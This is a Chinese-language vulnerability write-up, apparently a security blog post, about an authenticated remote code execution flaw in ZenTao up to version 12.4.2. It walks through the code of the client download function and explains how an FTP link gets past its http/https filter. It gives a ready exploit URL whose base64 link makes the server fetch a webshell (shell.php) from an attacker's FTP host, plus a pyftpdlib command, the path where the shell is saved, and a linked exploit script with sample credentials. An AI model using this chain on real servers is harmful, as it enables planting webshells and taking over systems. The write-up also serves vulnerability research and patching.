禅道_=12.4.2_后台getshell

# 禅道<=12.4.2 后台getshell ## 漏洞利用 Exploit: http://127.0.0.1/zentao/client-download-1-(base64 encode webshelldownload link)-1.html http://127.0.0.1/zentao/data/client/1/(download link filename) **复现:** ![img](/static/qingy/禅道_=12.4.2_后台getshell/img/clip_image002.jpg) 使用**FTP****协议**下载文件,绕过**module/client/ext/model/xuanxuan.php:10** **downloadZipPackage** 的**HTTP****协议**过滤。 ![img](/static/qingy/禅道_=12.4.2_后台getshell/img/clip_image004.jpg) ## 代码分析 首先该漏洞需要后台管理员权限,所以我们首先登陆至后台。通过下图我们可以看到登陆后的界面URL为: `http://192.168.52.141/zentaopms/www/index.php?m=my&f=index` [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t012b1edfbb5968327e.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t012b1edfbb5968327e.png) 我们看到后台界面分别对m以及f参数进行传参,那么不难猜出大概就是调用my类下的index方法,我们看一下该段的代码。 [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t0159e9407d7b4a59e9.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t0159e9407d7b4a59e9.png) 在/module/my/lang/zh-cn.php下可以看到存在指向index的方法,这验证了我们上面猜测是正确的,那么我们下面来看一下文件下载漏洞点的代码部分。 [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01e389578003518177.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t01e389578003518177.png) 漏洞是发生在client类下的donwload函数中,我们定位函数至/module/client/control.php中找到该方法,本段代码大致意思就是会接收三个参数version、os、link,然后去调用**downloadZipPackage**方法进行文件下载操作,并对一些下载失败事件进行不同回显,比如downloadFail,saveClientError在上图的方法列表我们可以看到他们调用的方法的具体含义,这里就不再赘述,最后如果没有失败事件时间就会返回成功。在downloadZipPackage并不需要os方法,所以这在我们后期利用时也不需要传入该参数。 [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01bc3554884a1ddd3a.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t01bc3554884a1ddd3a.png) 然后继续跟进downloadZipPackage方法中,注意重点来了,漏洞真正的产生原因就在该方法中。 [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01d664441732fb42e4.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t01d664441732fb42e4.png) 我们可以看到这段代码首先对传入的link参数进行了base64解码操作,这里的link参数就是我们shell的远程地址,然后下面会通过一个正则表达式进行判断,link地址是否以 http:// 或者 https:// 开头,如果存在则return返回false并退出方法,否则调用方法**parent::downloadZipPackage**,这里其实忽略了FTP这一文件下载方法,也就是说我们可以通过FTP服务代替进行文件下载操作从而绕过正则的限制。 [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01be4bcd3b62e34b7c.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t01be4bcd3b62e34b7c.png) downloadZipPackage方法就没有什么问题了,就是一段文件下载函数,会通过传入的version值创建并命名在data下创建的文件夹并将下载的文件保存在其中。 ## 漏洞利用 那么这其实就是很清晰了,通过文章开始介绍的m和f参数的调用,我们可以对client类以及download参数进行调用,并传入download参数必要的version以及link参数就可以完成漏洞的利用了。这里的link地址是base64加密后的ftp连接地址,,比如: **ftp://192.168.52.1/shell.php** 大家可以直接使用python的pyftpdlib模块开启FTP服务比较方便,命令: **python -m pyftpdlib -p 21 -d .**默认开启匿名用户,不需要输入用户名密码。 [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t010ff8a21f7d431f36.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t010ff8a21f7d431f36.png) 构建exp如下: ``` http://ip/zentaopms/www/index.php?m=client&f=download&version=1&link=ZnRwOi8vMTkyLjE2OC41Mi4xL3NoZWxsLnBocA== ``` 可以看到回显弹窗保存成功,然后再到靶机中查看发现下载成功,保存路径至 ``` /zentaopms/www/data/client/1/shell.php ``` [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01e196a8e5fd936c20.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t01e196a8e5fd936c20.png) 连接木马,成功利用! [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01f672108d970a681f.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t01f672108d970a681f.png) ## 漏洞利用EXP 所以本文最突出的一个部分来了,就是我们有EXP啊。通过两个夜晚的努力,终于完成了,其中也碰到了不少坑,但是好在都解决了。下面由我来介绍一下他的使用方法吧。 [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01af2b24af5c3ddc4c.png)](/static/qingy/禅道_=12.4.2_后台getshell/img/t01af2b24af5c3ddc4c.png) 构建命令:`python "Zentao RCE EXP.py" -H http://192.168.52.141 -U admin -P Admin888 -f 192.168.52.1` 其中-H指定目标主机,-U指定后台用户名,-P指定密码,-f指定VMnet8网卡的IP,这样虚拟机才能正常访问到物理机的FTP服务,当然如果测试环境也在虚拟机中则可以修改源码自动获取IP即可,这里是以我的环境为准所以没有这么做,也因为我觉得麻烦一点来换取兼容性更好一点是不亏的,所以小伙伴可以自行修改使用,我想这也不难,源码中也标注了修改位置。目前已经上传至github,有兴趣的小伙伴可以自行下载测试。 **EXP github地址:**`https://github.com/wikiZ/Zentao-RCE`

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容